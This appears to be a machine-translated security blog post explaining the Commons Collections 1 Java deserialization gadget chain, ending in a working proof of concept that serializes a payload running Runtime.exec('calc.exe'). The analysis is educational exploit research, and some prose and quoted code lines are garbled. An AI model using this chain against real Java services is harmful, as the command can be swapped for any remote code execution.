Common collections1 analysis of Java Security (3)
Common collections1 analysis of Java Security (3)
0x00 Preface
Continue to analyze CC chain, using the previous articles to pave the way for some knowledge. In the last article, I actually looked at the code and didn't debug it. Because the lower version of JDK has not been found. It's all up to the brain to remember the content and try to understand it. The latter is actually much simpler. I will make an analysis on the basis of the previous article.
0x01 another construction method of CC chain
The previous article mentioned that the get method of lazymap can also trigger command execution. Because the get method of lazymap is in
See this here The factory variable will call the transform method. It is also analyzed that this kind of construction method is a protected modification. Cannot be directly new. You need to use the decorate factory method to provide. Then we call this method and pass in the innermap and transformerchain parameters.
The innermap here is a map object, and the transformer chain is a transformer [] array modified by chainedtransformer.
Map tmpmap = LazyMap.decorate(innerMap,transformerChain);
After passing in, this. In the get method of lazymap The factory is an array of transformer [] at this time, calling it will execute the transform method, and chainedtransformer's transform method will traverse the transform method in calling transformer [], resulting in the runtime passed in using the method calling exec and executing calc.exe to pop up a calculator.
Of course, in practice, we also need to call this get method with the help of other classes.
The invoke in the annotationinvocationhandler will call the get method.
public Object invoke(Object var1,Method var2,Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type,var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
It's specially marked here
Object var6 = this.memberValues.get(var4);
As mentioned earlier, the constructor passes in transformer chain, this memberValues=transformerChain this. Membervalues is a transformer [] array modified by chainedtransformer. At this time, we call get, and the get method calls transform. We're back to the topic just now.
How to call the invoke of annotationinvocationhandler?
Here, the dynamic proxy method will be used to call this method. For dynamic proxy, you can refer to the dynamic proxy mechanism in this article.
0x02 dynamic agent
As for dynamic agent, it is necessary to talk about the mechanism of dynamic agent separately.
Implementation of dynamic agent:
Proxy.newProxyInstance(Person.class.getClassLoader(),Class<?>[]interfaces,InvocationHandler h)
0x03 POC analysis
public static void main(String[] args) throws InvocationTargetException,illegalaccessexception,NoSuchMethodException,ClassNotFoundException,InstantiationException,IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),new InvokerTransformer("getmethod",new Class[] {String.class,Class[].class },new Object[] {"getRuntime",new Class[0] }),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class },new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class,outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
Mainly look at this code
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),handler);
The handler here is an annotationinvocationhandler class created by reflection. The annotationinvocationhandler implements the invocationhandler interface, which can be directly passed in as a calling processor.
When performing deserialization during the execution of this POC, the annotationinvocationhandler overrides the readObject () method, so it calls the readObject () method of the annotationinvocationhandler. The readObject () method will call the entryset () method of membervalues. The membervalues here are the parameters passed in by the constructor. We create them by reflection, and the passed in is proxymap.
Corresponding code:
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),proxyMap);
Because proxymap is our proxy object, calling entryset () of proxymap will trigger the invoke () method of annotationinvocationhandler for execution. This is also a feature of dynamic proxy. The proxy object calls any method, and the invoke () method in the calling processor is executed once.
After executing the invoke () method of annotationinvocationhandler, it will call the get method again and return to the place just now.
This. In the get method of lazymap The factory is an array of transformer [] at this time, calling it will execute the transform method, and chainedtransformer's transform method will traverse the transform method in calling transformer [], resulting in the runtime passed in using the method calling exec and executing calc.exe to pop up a calculator.
Then it just corresponds to the utilization chain marked above
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getmethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x04 end
There are version restrictions in the CC1 chain, which cannot be used in higher versions. Because the readObject () replication point of annotationinvocationhandler has been changed in the higher version. In other big guy tests, jdk1 7u21、jdk1. 8_ 101、jdk1. 8_ 171 these versions are available.